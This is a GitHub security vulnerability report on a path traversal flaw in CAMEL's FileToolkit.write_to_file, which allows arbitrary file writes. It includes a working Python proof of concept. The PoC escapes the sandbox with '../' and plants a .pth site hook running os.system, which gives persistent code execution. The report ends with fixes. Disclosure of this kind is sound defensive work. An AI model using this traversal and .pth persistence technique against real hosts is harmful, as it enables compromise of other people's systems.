[BUG] CAMEL FileToolkit working_directory path traversal allows arbitrary file write and persistent code execution (CWE-22, CVSS 9.8)
Required prerequisites
- I have read the documentation https://camel-ai.github.io/camel/camel.html.
- I have searched the Issue Tracker and Discussions that this hasn't already been reported. (+1 or comment there if it has.)
- Consider asking first in a Discussion.
What version of camel are you using?
0.2.91a5
System information
- Installation: pip (
pip install "camel-ai==0.2.91a5" "mcp<2") - OS: Windows 11 (host used for the dynamic verification)
- Python: not recorded for this verification (the
.pthsite hook executes in Python processes of the same installation) - Relevant library versions: camel-ai 0.2.91a5 (PyPI);
mcppinned<2(a current mcp 2.x release removesmcp.server.FastMCP; the latest 1.x release, mcp 1.29.1, still provides them). No other dependency is needed.
Problem description
This is a security vulnerability report. We initially reported this issue privately via GitHub Private Vulnerability Reporting on 2026-09-01 and are following up publicly after the coordination window.
An attacker who can influence the filename argument of FileToolkit.write_to_file() -- by calling the toolkit directly, or through the tool's intended LLM caller whose input the attacker can shape -- escapes the toolkit's working_directory containment and creates or overwrites arbitrary files on the host with the privileges of the CAMEL process. The resolver _resolve_filepath() (camel/toolkits/file_toolkit.py:96-102) sanitizes only the filename component of the supplied path (_sanitize_filename, :124-138): directory components such as ../ pass through unchanged, no containment comparison is performed anywhere in the toolkit (a whole-file inspection finds no is_relative_to/commonpath/prefix check on any code path), and the absolute-path branch (:97-98) is a second, independent bypass. write_to_file() then creates every missing directory on the escaped path before writing (:1103-1104) -- while its own docstring promises that a relative path "is resolved to self.working_directory" (:1093-1094). Because the written content is attacker-chosen, a Python .pth site-hook file dropped into the Python library directory turns the arbitrary write into persistent code execution: every subsequently started Python process of that Python installation executes .pth import lines automatically.
- Expected: a relative
filenameresolves intoself.working_directory(the tool's own documented contract), and paths resolving outside it are rejected. - Actual:
../segments and absolute paths both escape the containment, missing directories on the escaped path are created automatically, and the escaped write lands a.pthsite hook that Python executes at interpreter startup -- persistent code execution.
Dynamically verified against v0.2.91a5 on Windows 11 (August 2026): 10/10 automated assertions passing (baseline write inside the sandbox, escape write of the .pth outside it, automatic execution of the site hook by a fresh Python process, and full cleanup). Scope: the PoC is the library-level chain only -- no LLM, no server, and no network are involved at any point; exposure through the library's own MCP/OpenAPI serving surfaces is the amplification path and requires those surfaces to be used, and the code-execution escalation additionally requires that the CAMEL process can write to a self-loading location (for the demonstrated .pth chain, the Python library directory -- writable by default under user-scoped installations such as conda or pip --user).
Reproducible example code
The Python snippets:
# poc.py -- FileToolkit.write_to_file escapes working_directory and lands a
# Python .pth site hook in the library directory -> persistent code execution.
# The sandbox is deliberately created inside the Python library directory so a
# single '../' step lands the file in site-packages; any directory outside the
# working_directory is equally writable.
import os
import shutil
import subprocess
import sys
import tempfile
import time
import camel
from camel.toolkits import FileToolkit
marker = os.path.join(tempfile.gettempdir(), "camel_poc_marker.txt")
safe_marker = marker.replace("\\", "/") # forward slashes survive the shell redirect
site_packages = os.path.dirname(os.path.dirname(camel.__file__))
sandbox = os.path.join(site_packages, "camel_poc_sandbox")
evil_pth = os.path.join(site_packages, "evil_poc.pth")
os.makedirs(sandbox, exist_ok=True)
tk = FileToolkit(working_directory=sandbox) # working_directory = containment
# 1) baseline: a write that honors the containment lands inside the sandbox
print(tk.write_to_file(title="t", content="inside ok", filename="inside.txt"))
# -> Content successfully written to file: ...\camel_poc_sandbox\inside.txt
# 2) traversal: '../' escapes the sandbox -- the filename part is sanitized,
# the directory part is not, and no containment check rejects the result
print(tk.write_to_file(
title="t",
content="import os; os.system('echo POC_EXECUTED > {m}')\n".format(m=safe_marker),
filename="../evil_poc.pth",
))
# -> Content successfully written to file: ...\site-packages\evil_poc.pth
# 3) a fresh Python process of this installation executes .pth import lines
# at startup (site module):
subprocess.run([sys.executable, "-c", "pass"], check=False)
time.sleep(1)
print("marker content:", open(marker).read().strip())
# -> marker content: POC_EXECUTED
# 4) cleanup
for p in (evil_pth, marker):
if os.path.exists(p):
os.remove(p)
shutil.rmtree(sandbox, ignore_errors=True)Command lines:
# Not used - the trigger is a single Python script; no shell command is part of the attack (the script is run with "python poc.py").Extra dependencies:
pip install "camel-ai==0.2.91a5" "mcp<2"
# "mcp<2": a current mcp 2.x release removes mcp.server.FastMCP, which
# camel-ai 0.2.91a5's unbounded mcp>=1.3.0 pin does not account for --
# without the <2 pin, every camel.toolkits import fails at startup (the
# latest 1.x release, mcp 1.29.1, still provides them). Nothing else is
# needed: the .pth payload falls through to the toolkit's plain-text writer,
# so no optional extras (docx/pdf writers, web tools) are required.Steps to reproduce:
- Install camel-ai 0.2.91a5 with the
mcp<2pin (see Extra dependencies); save the script aspoc.pyand run it with the same interpreter whose library directory the.pthlands in. - The script creates a sandbox inside the Python library directory (site-packages) and builds
FileToolkit(working_directory=sandbox). - Baseline:
tk.write_to_file(..., filename="inside.txt")lands inside the sandbox and returnsContent successfully written to file: .... - Trigger:
tk.write_to_file(..., filename="../evil_poc.pth")escapes the sandbox -- the filename part is sanitized, the directory part is not, and no containment check rejects the result -- and the.pthlands in site-packages, outside theworking_directory. - The script starts a fresh Python process of the same installation (
sys.executable -c pass): thesitemodule executes.pthimport lines at startup, the payload writes the marker, and the script printsmarker content: POC_EXECUTED-- proving the written file was executed as code by a Python process that never received it as input. - Cleanup removes the
.pth, the marker, and the sandbox.
Traceback
No traceback -- both `write_to_file` calls return `Content successfully written to file: ...` normally; the escape and the subsequent site-hook execution produce no error.Expected behavior
A relative filename resolves into self.working_directory (the tool's own documented contract), and every resolved path stays inside it -- ../ segments and absolute paths alike are rejected rather than written outside.
Additional context
Severity: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 (Critical) -- the write and the demonstrated execution occur with the CAMEL process's own privileges (alternate scoring: the same vector with S:C scores 10.0; both values computed with the official FIRST CVSS v3.1 formula). CWEs: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')), CWE-94 (Improper Control of Generation of Code ('Code Injection')).
Affected: PyPI camel-ai >= 0.2.76a1, <= 0.2.91a5; patched versions: none yet.
Suggested remediation:
- Contain every resolver output: after
resolve(), verifyfile_path.is_relative_to(self.working_directory.resolve())and reject the call otherwise -- in_resolve_filepath(), and equally in_resolve_existing_filepath()(:113-118) and_resolve_search_path()(:104-111), which share the same unvalidated join and are used by the toolkit's read/edit/search tools. - Reject
..segments and absolute paths in tool-facing path arguments (or normalize first and require the result to stay insideworking_directory). - Where deployments genuinely need broader access, gate it behind an explicit opt-in flag (default off) rather than unbounded path handling.
Source: camel-ai/camel